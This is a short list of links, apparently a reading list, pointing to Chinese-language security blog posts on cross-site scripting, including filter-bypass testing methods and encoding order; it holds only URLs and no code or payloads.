https://www.hackersb.cn/hacker/85.html

https://0verwatch.top/xss-encodeorder.html

http://bobao.360.cn/learning/detail/292.html

https://saucer-man.com/information_security/103.html

https://blog.csdn.net/fly_hps/article/details/82944455

https://wooyun.js.org/drops/Bypass xss过滤的测试方法

https://www.0x002.com/2019/前端Hack之XSS攻击个人学习笔记/

http://next.uuzdaisuki.com/2018/04/24/XSS绕过和利用方式总结/